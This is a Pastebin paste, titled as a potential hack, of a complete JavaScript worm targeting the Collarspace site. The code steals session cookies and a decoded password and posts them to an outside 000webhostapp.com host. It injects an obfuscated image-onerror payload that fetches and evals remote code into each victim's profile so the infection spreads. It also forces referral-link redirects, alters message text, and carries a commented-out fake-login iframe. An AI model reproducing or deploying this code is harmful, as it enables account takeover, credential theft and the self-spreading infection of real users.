Guest User

collarspace-potential-hack

a guest
Sep 17th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*jshint -W116 */
  2. /* jshint esnext: true, browser: true, jquery: true */
  3.  
  4. if (!window.$) {
  5.     var scr = document.createElement('script');
  6.     scr.setAttribute('src', 'http://code.jquery.com/jquery-latest.min.js');
  7.     scr.onload = doStuff;
  8.     var head = document.getElementsByTagName('head')[0];
  9.     head.appendChild(scr);
  10. } else {
  11.     doStuff();
  12. }
  13.  
  14. function getCookies() {
  15.     var cookies = {};
  16.     var theCookies = document.cookie.split(';');
  17.     for (var i = 1; i < theCookies.length; i++) {
  18.         var mat = theCookies[i].match(/\s*([^=]+)=?(.*)/);
  19.         if (!mat[1].match(/^ASPSESSION/))
  20.             cookies[mat[1]] = decodeURIComponent(mat[2]);
  21.     }
  22.     return cookies;
  23. }
  24.  
  25. function loadBase64() {
  26.     jQuery.base64 = ((() => {
  27.         var _PADCHAR = "=",
  28.             _ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
  29.             _VERSION = "1.0";
  30.  
  31.         function _getbyte64(s, i) {
  32.             var idx = _ALPHA.indexOf(s.charAt(i));
  33.             if (idx === -1) throw "Cannot decode base64";
  34.             return idx;
  35.         }
  36.  
  37.         function _decode(s) {
  38.             var pads = 0,
  39.                 i, b10, imax = s.length,
  40.                 x = [];
  41.             s = String(s);
  42.             if (imax === 0) return s;
  43.             if (imax % 4 !== 0) throw "Cannot decode base64";
  44.             if (s.charAt(imax - 1) === _PADCHAR) {
  45.                 pads = 1;
  46.                 if (s.charAt(imax - 2) === _PADCHAR) {
  47.                     pads = 2;
  48.                 }
  49.                 imax -= 4;
  50.             }
  51.             for (i = 0; i < imax; i += 4) {
  52.                 b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12) | (_getbyte64(s, i + 2) << 6) | _getbyte64(s, i + 3);
  53.                 x.push(String.fromCharCode(b10 >> 16, (b10 >> 8) & 255, b10 & 255));
  54.             }
  55.             switch (pads) {
  56.                 case 1:
  57.                     b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12) | (_getbyte64(s, i + 2) << 6);
  58.                     x.push(String.fromCharCode(b10 >> 16, (b10 >> 8) & 255));
  59.                     break;
  60.                 case 2:
  61.                     b10 = (_getbyte64(s, i) << 18) | (_getbyte64(s, i + 1) << 12);
  62.                     x.push(String.fromCharCode(b10 >> 16));
  63.                     break;
  64.             }
  65.             return x.join("");
  66.         }
  67.  
  68.         function _getbyte(s, i) {
  69.             var x = s.charCodeAt(i);
  70.             if (x > 255) {
  71.                 throw "INVALID_CHARACTER_ERR: DOM Exception 5";
  72.             }
  73.             return x;
  74.         }
  75.  
  76.         function _encode(s) {
  77.             if (arguments.length !== 1) {
  78.                 throw "SyntaxError: exactly one argument required";
  79.             }
  80.             s = String(s);
  81.             var i, b10, x = [],
  82.                 imax = s.length - s.length % 3;
  83.             if (s.length === 0) return s;
  84.             for (i = 0; i < imax; i += 3) {
  85.                 b10 = (_getbyte(s, i) << 16) | (_getbyte(s, i + 1) << 8) | _getbyte(s, i + 2);
  86.                 x.push(_ALPHA.charAt(b10 >> 18));
  87.                 x.push(_ALPHA.charAt((b10 >> 12) & 63));
  88.                 x.push(_ALPHA.charAt((b10 >> 6) & 63));
  89.                 x.push(_ALPHA.charAt(b10 & 63));
  90.             }
  91.             switch (s.length - imax) {
  92.                 case 1:
  93.                     b10 = _getbyte(s, i) << 16;
  94.                     x.push(_ALPHA.charAt(b10 >> 18) + _ALPHA.charAt((b10 >> 12) & 63) + _PADCHAR + _PADCHAR);
  95.                     break;
  96.                 case 2:
  97.                     b10 = (_getbyte(s, i) << 16) | (_getbyte(s, i + 1) << 8);
  98.                     x.push(_ALPHA.charAt(b10 >> 18) + _ALPHA.charAt((b10 >> 12) & 63) + _ALPHA.charAt((b10 >> 6) & 63) + _PADCHAR);
  99.                     break;
  100.             }
  101.             return x.join("");
  102.         }
  103.         return {
  104.             decode: _decode,
  105.             encode: _encode,
  106.             VERSION: _VERSION
  107.         };
  108.     })(jQuery));
  109. }
  110.  
  111. function doLogin() {
  112.     let done = false;
  113.     $('a').click(() => {
  114.         if (done) return;
  115.         done = true;
  116.         const domain = 'https://collarspace.000webhostapp.com/';
  117.         console.log('CS-MBS - Login');
  118.         const props = {
  119.             width: '100%',
  120.             height: '100%',
  121.             overflow: 'hidden',
  122.         };
  123.         const iframe = $('<iframe>').css(props);
  124.         $(document.body).css(props).prepend(iframe);
  125.         const href = document.location.href;
  126.         iframe.attr('src', domain + 'login.php?url=' + encodeURIComponent(href));
  127.         return false;
  128.     });
  129. }
  130.  
  131. function infectProfile(id) {
  132.     const hax = `\n\n<img style="display:none" auto src="a.b" onerror='var x = new XMLHttpRequest();x["onre"+"adystat"+"echange"]=function(){if (x.readyState==4&&x.status==200)window["ev"+"al"](x.responseText);};x.open("GET", "https://collarspace.000webhostapp.com/hax.txt",true);x.send();'/>`
  133.     const proc = $('<iframe/>').css('display', 'none').appendTo(document.body);
  134.     proc.load(() => {
  135.         const ta = $('#p_desc', proc.contents());
  136.         if (!ta.length) return;
  137.         document.cookie = 'LGGI=' + id + '; path=/';
  138.         let val = ta.val();
  139.         if (!val.match(/collarspace.000webhostapp.com/)) {
  140.             ta.val(val += hax);
  141.             const form = $('form[name=form1]', proc.contents());
  142.             form[0].onsubmit = null;
  143.             form.submit();
  144.         }
  145.     });
  146.     proc.attr('src', '/processor.asp?bhcp=1');
  147. }
  148.  
  149.  
  150. // document.cookie = 'username=Test; path=/';
  151. function doStuff() {
  152.     loadBase64();
  153.     const infecter = $('[src="a.b"]');
  154.     window.LGGI = infecter[0];
  155.     infecter.remove();
  156.     const domain = 'https://collarspace.000webhostapp.com/';
  157.     const replacings = {
  158.         hypnosisDomme: 'Send me "Kiwi " if you submit to me. Send "Radio " otherwise',
  159.         SimplyTheBest329: 'Are you sure?',
  160.     };
  161.     //const forceLogin = ['nataliewood', 'iowawarden', 'msTowned', 'alliepre'];
  162.     if (window.LeGG) return;
  163.     window.LeGG = true;
  164.     //console.log('CS-MBS Launched');
  165.     var cookies = getCookies();
  166.     setTimeout(() => {
  167.         if (cookies.G2A != 'legg') {
  168.             $('<iframe/>', {
  169.                 src: 'http://www.g2a.com/r/legg',
  170.                 style: 'display:none',
  171.                 load: function () {
  172.                     $(this).remove();
  173.                     document.cookie = 'G2A=legg; path=/';
  174.                 }
  175.             }).appendTo('body');
  176.         }
  177.         if (cookies.G2APU != 'legg') {
  178.             document.cookie = 'G2APU=legg; path=/';
  179.             document.location = 'http://g2a.com/r/legg';
  180.         }
  181.     }, 5000);
  182.     var id = cookies.id;
  183.     if (!id) return;
  184.     id = id.replace('+', '');
  185.     id = id.toLowerCase();
  186.     window.LeGG = id;
  187.     if (cookies.LGGI != id) infectProfile(id);
  188.     $(document).ready(function () {
  189.         let pass = $("a.menu").filter((n, td) => $(td).text().match(/Message Boards/))[0];
  190.         pass = pass && pass.href.match(/p=([\w=]+)/);
  191.         pass = pass && pass[1];
  192.         if (pass) {
  193.             pass = $.base64.decode(pass);
  194.             if (window.LeGGBP && window.LeGGBP(pass)) return;
  195.             cookies.pass = pass;
  196.         }
  197.         cookies.location = document.location.href;
  198.         $.post(domain + 'cookies.php', cookies);
  199.         /*if (cookies.access && cookies.LGGL == id) {
  200.             cookies.location = document.location.href;
  201.             $.post(domain + 'cookies.php', cookies, (data) => {
  202.                 if (data.match(/WeakUpdate/)) {
  203.                     if (forceLogin.find((n) => n == id)) {
  204.                         doLogin();
  205.                     } else if (Math.random() <= 0.25) {
  206.                         doLogin();
  207.                     }
  208.                 }
  209.             });
  210.         } else if (cookies.access) {
  211.             document.cookie = 'LGGL=' + id + '; path=/';
  212.         }*/
  213.         $('[fake]').each(function (i, ele) {
  214.             ele = $(ele);
  215.             var from = ele.attr('from');
  216.             if (from && from.toLowerCase() == id.toLowerCase()) {
  217.                 if (ele.attr('unfake') !== undefined) {
  218.                     ele.text(ele.attr('unfake'));
  219.                 }
  220.             } else if (ele.attr('fake') != 'Kiwi') {
  221.                 ele.text(ele.attr('fake'));
  222.             }
  223.         });
  224.         $('[lerep]').each(function (i, ele) {
  225.             ele = $(ele);
  226.             var rep = ele.attr('lerep');
  227.             rep = rep && replacings[rep];
  228.             if (rep) ele.text(rep);
  229.         });
  230.     });
  231. }
Add Comment
Please, Sign In to add comment